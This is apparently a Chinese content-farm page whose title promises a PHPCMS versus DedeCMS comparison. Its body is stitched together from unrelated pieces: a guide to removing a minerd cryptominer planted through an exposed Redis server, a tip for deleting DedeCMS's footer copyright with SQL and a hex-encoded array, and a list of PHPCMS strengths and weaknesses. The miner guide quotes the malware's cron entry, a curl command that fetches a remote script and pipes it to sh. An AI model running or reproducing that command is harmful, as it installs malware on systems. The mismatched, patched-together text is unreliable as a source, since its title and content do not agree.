谁清楚phpcms和dedecms各个缺点和优点

谁清楚phpcms和dedecms各个缺点和优点,第1张

1 关闭访问挖矿服务器的访问

iptables -A INPUT -s xmrcrypto-poolfr -j DROP and iptables -A OUTPUT -d xmrcrypto-poolfr -j DROP

2 chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。

3 pkill minerd ,杀掉进程

4 service stop crond 或者 crontab -r 删除所有的执行计划

5 执行top,查看了一会,没有再发现minerd 进程了。

6检查/var/spool/cron/目录下发现有个root用户的定时器文件

下载脚本的语句:

/5 curl -fsSL http://wwwhaveabitchincom/pmsh0105010 | sh

病毒文件内容如下,感兴趣的可以研究下:

 View Code

解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,http://blogjobbolecom/94518/然后就注入了病毒,下面是解决办法和清除工作:

1 修复 redis 的后门,

配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379

配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中

配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度

好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf

2 打开 ~/ssh/authorized_keys, 删除你不认识的账号

3 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉

两个办法

1新建一个变量;进入系统——系统基本参数——

添加新变量右上角如下图:

点击保存变量,后台参数中就会多出一个网站底部信息变量的输入框,输入底部信息,通过:{dede:globaldede_powerby/}就可以在模板中调用了。有了我们自己的版权信息变量,我们就可以删除之前系统自带的版权信息变量。

我们使用sql命令工具在系统设置下面有个sql命令工具在输入框输入以下SQL语句,即可删除系统的版权信息变量。

SQL语句:

1DELETE FROM dede_sysconfig WHERE varname = "cfg_powerby"

2修改源码除了添加另一个变量之外,还可以看看官方的最新补丁使用到什么,通过查看67日官方更新补丁,织梦DedeCMS官方在6月7号的安全补丁主要更新文件是include/dedesqlclassphp,修复变量覆盖漏洞。但是下面的这段代码明显是不正常的,为什么要用这种编码呢?删除该文件的下面这段代码就可以解决这个问题了。代码如下:

12$arrs1 = array(0x63,0x66,0x67,0x5f,0x70,0x6f,0x77,0x65,0x72,0x62,0x79);$arrs2 = array(0x20,0x3c,0x61,0x20,0x68,0x72,0x65,0x66,0x3d,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f, 0x77,0x77,0x77,0x2e,0x64,0x65,0x64,0x65,0x63,0x6d,0x73,0x2e,0x63,0x6f,0x6d,0x20,0x74,0x61,0x72, 0x67,0x65,0x74,0x3d,0x27,0x5f,0x62,0x6c,0x61,0x6e,0x6b,0x27,0x3e,0x50,0x6f,0x77,0x65,0x72,0x20, 0x62,0x79,0x20,0x44,0x65,0x64,0x65,0x43,0x6d,0x73,0x3c,0x2f,0x61,0x3e);

以上2个方法都可以有效去除底部的版权信息,但是不建议用第二种,会造成注入漏洞的隐患,最好使用第一种!

phpcms优点:

1模块化安装,非常适合安装,拆卸,和拿到市场上去交易非常方便的。

2灵活的标签语法,非常强大。

3缓存做的非常优秀。几乎支持目前主流的几大缓存系统解决方案,file缓存,eaelerator缓存,memcache缓存,shmop缓存等

4安全性也不错的。后台为了防范入侵,采用了cookie和session同时存在验证技术,才可以安全进入后台。

多次登录失败,开启验证码功能。防止机器人频繁猜口令。

5数据库。在根目录下的include目录下,db_aessphpdb_mssqlphpdb_mysqlphp等,就照着他的方法,在增加几个也没问题的。

6兼容性。是在php4的基础上开发的,所以向下兼容性是不错的。在include/globalfuncphp这个文件可以看到很多if(!function_exist()){},这些代码就是为了兼容php4相关函数。

phpcms缺点:

1后台对应的模块的功能列表url,从数据库中读取的,也即是,安装的时候,将url写入数据库了。这个如果二次开发要修改的话,不是很方便的,最好是写到文件中,读取文件内容,方便开发者开发,而且也更容易维护,如果是出于安全考虑的话,不妨加下密也可以的。

2分部式。后台的某些功能模块,还是要调用各个应用模块的admin部分,相关*.inc.php文件.如果我要把其中某个模块或应用独立出去部署到其他的服务器上,就不方便了。

3数据库设计问题,后台开设模型时,表的引擎只能是myIsam,而不能选择其他的,字段的类型,比如要开设一个字段为number,类型为int,但是在新增加的模型表中还是以varchar出现,而不是int,长度是默认的255modelfiled表,才发现该系统是将类型写到该表中了。

4加密/解密程序。目前已经在想相关安全网站已被爆以破解。这也不是什么新闻了。在开发中,关注下相关安全厂商发布的漏洞。

5数据库抽象层。就以上提到的几个数据库文件。db_mssqlphpdb_mysqlphpdb_aessphp等对于数据库分布式,应该没问题的。数据库抽象层处理数据比较快,且快平台更容易且更容易维护,这个是需要考虑的。

Dedecms功能实用,模板功能使用简单。

实际任何程序都有漏洞 只不过用织梦的人比较多 windows系统每天还那么多漏洞恩!

你百度一下“织梦DedeCMS实用技巧-八大安全措施”这篇文章介绍如果防止黑客攻击织梦系统,青龙建站教程自学网建议你网站装上百度云加速, 这样能够更有效的防止黑客攻击!

DABAN RP主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
网站模板库 » 谁清楚phpcms和dedecms各个缺点和优点

0条评论

发表评论

提供最优质的资源集合

立即查看 了解详情